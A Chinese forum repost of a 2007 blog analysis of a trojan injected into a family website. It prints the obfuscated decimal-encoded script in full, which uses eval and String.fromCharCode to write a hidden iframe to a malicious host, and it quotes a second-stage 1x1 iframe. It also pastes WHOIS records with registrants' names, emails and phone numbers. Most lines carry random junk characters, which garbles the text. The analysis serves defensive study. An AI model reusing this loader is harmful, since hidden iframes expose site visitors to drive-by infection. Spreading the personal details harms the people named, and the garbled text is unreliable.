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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, uj;tmK>;  
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http://www.areway.cn/?p=175 Mtq\xF,/+  
1k"<T7K  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: A:! _ &  
          3Z/_}5%"  
<script>t=’60,105,102,114,97,109,101, Pfi|RTX$'*  
32,115,114,99,61,104,116,116,112,58,47,47, +L(|?|i8  
102,114,101,101,46,117,45,117,117,117,46,99, a|S6r-_;s  
110,47,101,114,114,111,114,46,104,116,109, pDqX% $^  
32,119,105,100,116,104,61,49,48,48,32,104, >J(._K  
101,105,103,104,116,61,48,62,60,47,105,102, ?i'N 9 /(  
114,97,109,101,62′; $r+ _Y/  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 4:wVT;?a  
                                                                                                  NhJ]X cfP8  
<script>t=’60,105,102,114,97,109,101,32,115, rMr:\M]t  
114,99,61,104,116,116,112,58,47,47,102,114, j}u b  
101,101,46,117,45,117,117,117,46,99,110,47, ;&7dX^oH  
101,114,114,111,114,46,104,116,109,32,119, I[nSf]Vm>  
105,100,116,104,61,49,48,48,32,104,101,105, !y_4.&C{  
103,104,116,61,48,62,60,47,105,102,114,97, x9\z^GU%H  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Sq22]  
document.write(t);</script> &`x1_*l  
                                                                                                  hvW FzT5  
<html xmlns=” lEAf\T7  
http://www.w3.org/1999/xhtml 8_$[SV$q  
“> F^4mO|  
<head> `4IZ4sPi  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> /vgEDw  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> }Um,wY[tK  
<title>首页 - 爱生活家庭网 gI~B _0x  
                                                                                                                                                    A; _Zw[  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 -So$ f-y  
转换字符串后的大概内容是(谁点击后果自付): R` g'WaDk  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ' _ZiZ4O  
                                                                                                                                  T8^`<gr.  
查询玉米u-uuu.cn的详细信息: Ob!NC&  
Domain Name: u-uuu.cn & 6="r}  
ROID: 20070901s10001s64972306-cn da ' 1 H  
Domain Status: ok hufpky[&8  
Registrant Organization: 王雷 ICdfak  
Registrant Name: 王雷 aFw \ w>*^  
Administrative Email: czlovexs@126.com kB[l6`  
Sponsoring Registrar: 北京万网志成科技有限公司 pYN.tD FO  
Name Server:ns.yovole.com h4ozwVA  
Name Server:ns1.yovole.com Q&5s,)w-  
Registration Date: 2007-09-01 17:54 !#y_vz9  
Expiration Date: 2008-09-01 17:54 +-X 6 8`  
最后PING了一下地址 都没有什么…. ,{6 Vf|?  
                                                                                                )x5t']w`K  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 4yK{(!&i+  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> +L0Jje>Az  
<script language=”javascript” src=” f/PqkHF  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \^oI3K0`  
> <#nt?Xn  
这个玉米应该有可能是木马作者的: s,CN<`/>x  
foafau.info的详细信息: x`:c0y9uG  
Access to INFO WHOIS information is provided to assist persons in PQj'D <G  
determining the contents of a domain name registration record in the XgI;2Be+&a  
Afilias registry database. The data in this record is provided by 0ZM#..3sI  
Afilias Limited for informational purposes only, and Afilias does not !P8Y(i  
guarantee its accuracy.  This service is intended only for query-based "%I<yUP]U  
access. You agree that you will use this data only for lawful purposes ]A&pX AM  
and that, under no circumstances will you use this data to: (a) allow, k'8tqIUN]  
enable, or otherwise support the transmission by e-mail, telephone, or F5y0(=$T  
facsimile of mass unsolicited, commercial advertising or solicitations Uee(1  
to entities other than the data recipient’s own existing customers; or tp<v  
(b) enable high volume, automated, electronic processes that send -bd'sv  
queries or data to the systems of Registry Operator, a Registrar, or x?7z15\  
Afilias except as reasonably necessary to register domain names or p!o-+@ava  
modify existing registrations. All rights reserved. Afilias reserves oNhCa>)/  
the right to modify these terms at any time. By submitting this query, ^>/~MCyM.  
you agree to abide by this policy. XjXz#0nR  
Domain ID:D22418703-LRMS b|-}?@&7&q  
Domain Name:FOAFAU.INFO i&TWIl8  
Created On:20-Nov-2007 16:05:42 UTC cY^'Cj  
Last Updated On:20-Nov-2007 16:05:44 UTC b($9gre>mI  
Expiration Date:20-Nov-2008 16:05:42 UTC QQ,V35Vp[  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) + mPVI  
Status:CLIENT DELETE PROHIBITED 5pU/X.lc  
Status:CLIENT RENEW PROHIBITED 6e>P!bo  
Status:CLIENT TRANSFER PROHIBITED j=dGNi)R  
Status:CLIENT UPDATE PROHIBITED x,NV{uG$n  
Status:TRANSFER PROHIBITED 4 _P6P  
Registrant ID:GODA-040110615  "F=ta  
Registrant Name:liu hong 4#,,_\r  
Registrant Organization: !o`riQLs>  
Registrant Street1:beijing r]0>A&,  
Registrant Street2: vRh)o1u)  
Registrant Street3: ) 7C+hQe  
Registrant City:beijing W m&*  
Registrant State/Province: 0`/CoP<U  
Registrant Postal Code:100000 Q{|_"sfJ  
Registrant Country:CN `mthzc3W  
Registrant Phone:+86.860108888777 wQ^RXbJI9  
Registrant Phone Ext.: oFb~|>d  
Registrant FAX: .~C%:bDnX7  
Registrant FAX Ext.: EK&";(x2(  
Registrant Email:bbbshiji@163.com <Nk:C1Op}  
Admin ID:GODA-240110615 3#? 53s   
Admin Name:liu hong <0!<T+JQ  
Admin Organization: ;i?rd f  
Admin Street1:beijing G<-<>)zO!  
Admin Street2: Hqtv`3g  
Admin Street3: )(9[>_+40  
Admin City:beijing Ft^X[5G4L  
Admin State/Province: Jcy+(7lE)  
Admin Postal Code:100000 fg7  
Admin Country:CN 7|xu)zYB  
Admin Phone:+86.860108888777 WMa`! Q  
Admin Phone Ext.: Y P,>vzW  
Admin FAX: 6e S~*  
Admin FAX Ext.: LJ6L#es2  
Admin Email:bbbshiji@163.com ~/qBOeU3  
Billing ID:GODA-340110615 3 a|pk4M  
Billing Name:liu hong h1H$3TpP  
Billing Organization: &hUEOif  
Billing Street1:beijing H$V`,=H  
Billing Street2: dT0>\9ZNr  
Billing Street3: j#Qnu0D  
Billing City:beijing ^(s(4|  
Billing State/Province: erKi*GssZ  
Billing Postal Code:100000 i &%m^p  
Billing Country:CN + 9I|F m  
Billing Phone:+86.860108888777 Qz89=#W  
Billing Phone Ext.: 8|(],NyEJ  
Billing FAX: ~{ GTL_w  
Billing FAX Ext.: :p%#U$S4  
Billing Email:bbbshiji@163.com +z[+kir  
Tech ID:GODA-140110615 "@^Q" RF  
Tech Name:liu hong &>!-67  
Tech Organization: f@gvDo]Y  
Tech Street1:beijing b0/YX@  
Tech Street2: @?jtB  
Tech Street3: ~0h@p4  
Tech City:beijing &=f?:UZ%  
Tech State/Province: xYZ,.  
Tech Postal Code:100000 .4ZOm'ko{  
Tech Country:CN )~Gn7  
Tech Phone:+86.860108888777 h@z0 x4_])  
Tech Phone Ext.: /~Bs5f.]?  
Tech FAX: MsZx 0]  
Tech FAX Ext.: $o0.oY#  
Tech Email:bbbshiji@163.com IT7],pM  
Name Server:NS27.DOMAINCONTROL.COM peHjKK  
Name Server:NS28.DOMAINCONTROL.COM i&8|@CACb  
Name Server: FQ> kTm`d  
Name Server: ~<-mxOe  
Name Server: =~"X/ >'  
Name Server: B&7NF}CF2  
Name Server: dVk(R9 8  
Name Server: QJ(5o7Tfn  
Name Server: f5p/cUzX  
Name Server: w5^k84vye  
Name Server: <5^m`F5  
Name Server: PD^G$LT  
Name Server: r \[|'hA  
                                                                                                          jABFdNjri  
接着下载每个文件里面的代码: B;S'l|-?  
一步一步看.. # E_S..  
w3 kkam"  
A*vuSQt(  
B`t/21J  
'<xE 0<  
yZ[=Y  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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